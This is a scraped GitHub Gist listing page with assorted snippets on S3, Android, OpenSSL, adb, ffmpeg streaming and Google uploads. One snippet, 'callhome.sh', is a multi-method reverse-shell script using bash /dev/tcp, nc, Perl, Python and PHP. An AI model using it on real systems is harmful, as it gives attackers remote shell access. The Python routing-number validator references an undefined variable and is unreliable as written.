Skip to content

Instantly share code, notes, and snippets.

@alexclifford
alexclifford / s3_set_object_public.sh
Created July 24, 2015 01:59
Make S3 object public and private via s3cmd command line
s3cmd setacl s3://bucket/path/to/file --acl-public
s3cmd info s3://bucket/path/to/file
s3cmd setacl s3://bucket/path/to/file --acl-private
@magnetikonline
magnetikonline / README.md
Last active January 29, 2025 06:06
NSSM - the Non-Sucking Service Manager cheatsheet.
@mrfanatic
mrfanatic / gist:842d2ab16c1a065bc3c7
Created February 20, 2015 20:19
Android intent to open the stock browser
String packageName = "com.android.browser";
String className = "com.android.browser.BrowserActivity";
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.addCategory(Intent.CATEGORY_LAUNCHER);
intent.setClassName(packageName, className);
intent.setData(Uri.parse("https://google.com"));
startActivity(intent);
@markus-k
markus-k / decrypt.sh
Created February 6, 2015 20:20
Hybrid encryption with OpenSSL
#!/bin/sh
# decrypt the key
openssl rsautl -decrypt -inkey rsa.key -in keyfile_crypted -out keyfile
# use the key to decrypt the data
openssl aes-256-cbc -d -in encrypted.txt -out plain_decrypted.txt -pass file:keyfile
rm keyfile
http://rootzwiki.com/topic/41985-enable-wifi-tether-through-adb/
adb shell input keyevent 3 # home
adb shell am start -a android.intent.action.MAIN -n com.android.settings/.Settings
adb shell input keyevent 20 # down
adb shell input keyevent 20 # down
@utsengar
utsengar / validate_routing_number.py
Last active February 24, 2020 18:32
Validate routing number in Python
"""
The function checks correctness of a routing number using the Checksum algorithm.
Checksum algorithm: http://en.wikipedia.org/wiki/Routing_transit_number#Check_digit
"""
def validate(routing_number):
if len(s) != 9:
return False
n = 0
for i in xrange(0, len(s), 3):
@AidanThreadgold
AidanThreadgold / google-cloud-storage-upload.php
Created April 5, 2014 20:25
Upload a file to google cloud
<?php
require_once("src/Google/Client.php");
require_once("src/Google/Service/Storage.php");
/**
* Connect to Google Cloud Storage API
*/
$client = new Google_Client();
$client->setApplicationName("App Name");
@olasd
olasd / stream_to_youtube.sh
Created March 28, 2014 19:58
Stream video to youtube via ffmpeg
#! /bin/bash
#
# Diffusion youtube avec ffmpeg
# Configurer youtube avec une résolution 720p. La vidéo n'est pas scalée.
VBR="2500k" # Bitrate de la vidéo en sortie
FPS="30" # FPS de la vidéo en sortie
QUAL="medium" # Preset de qualité FFMPEG
YOUTUBE_URL="rtmp://a.rtmp.youtube.com/live2" # URL de base RTMP youtube
@frohoff
frohoff / callhome.sh
Last active October 26, 2020 17:44
Shell script that attempts multiple methods for creating a reverse shell
#!/bin/bash
host=$1
port=$2
bash -i >& /dev/tcp/$host/$port 0>&1
nc -e /bin/sh $host $port
perl -e "use Socket;\$i=\"$host\";\$p=$port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};"
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"$host\",$port));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);"
php -r "\$sock=fsockopen(\"$host\",$port);exec(\"/bin/sh -i <&3 >&3 2>&3\");"
@deanet
deanet / google.sh
Created August 22, 2012 16:09
Uploading File into Google Drive (because grive too many dependencies qt, xorg ? )
#!/bin/bash
## uploading to google
## rev: 22 Aug 2012 16:07
det=`date +%F`
browser="Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:13.0) Gecko/20100101 Firefox/13.0.1"
username="[email protected]"
password="password"
accountype="HOSTED" #gooApps = HOSTED , gmail=GOOGLE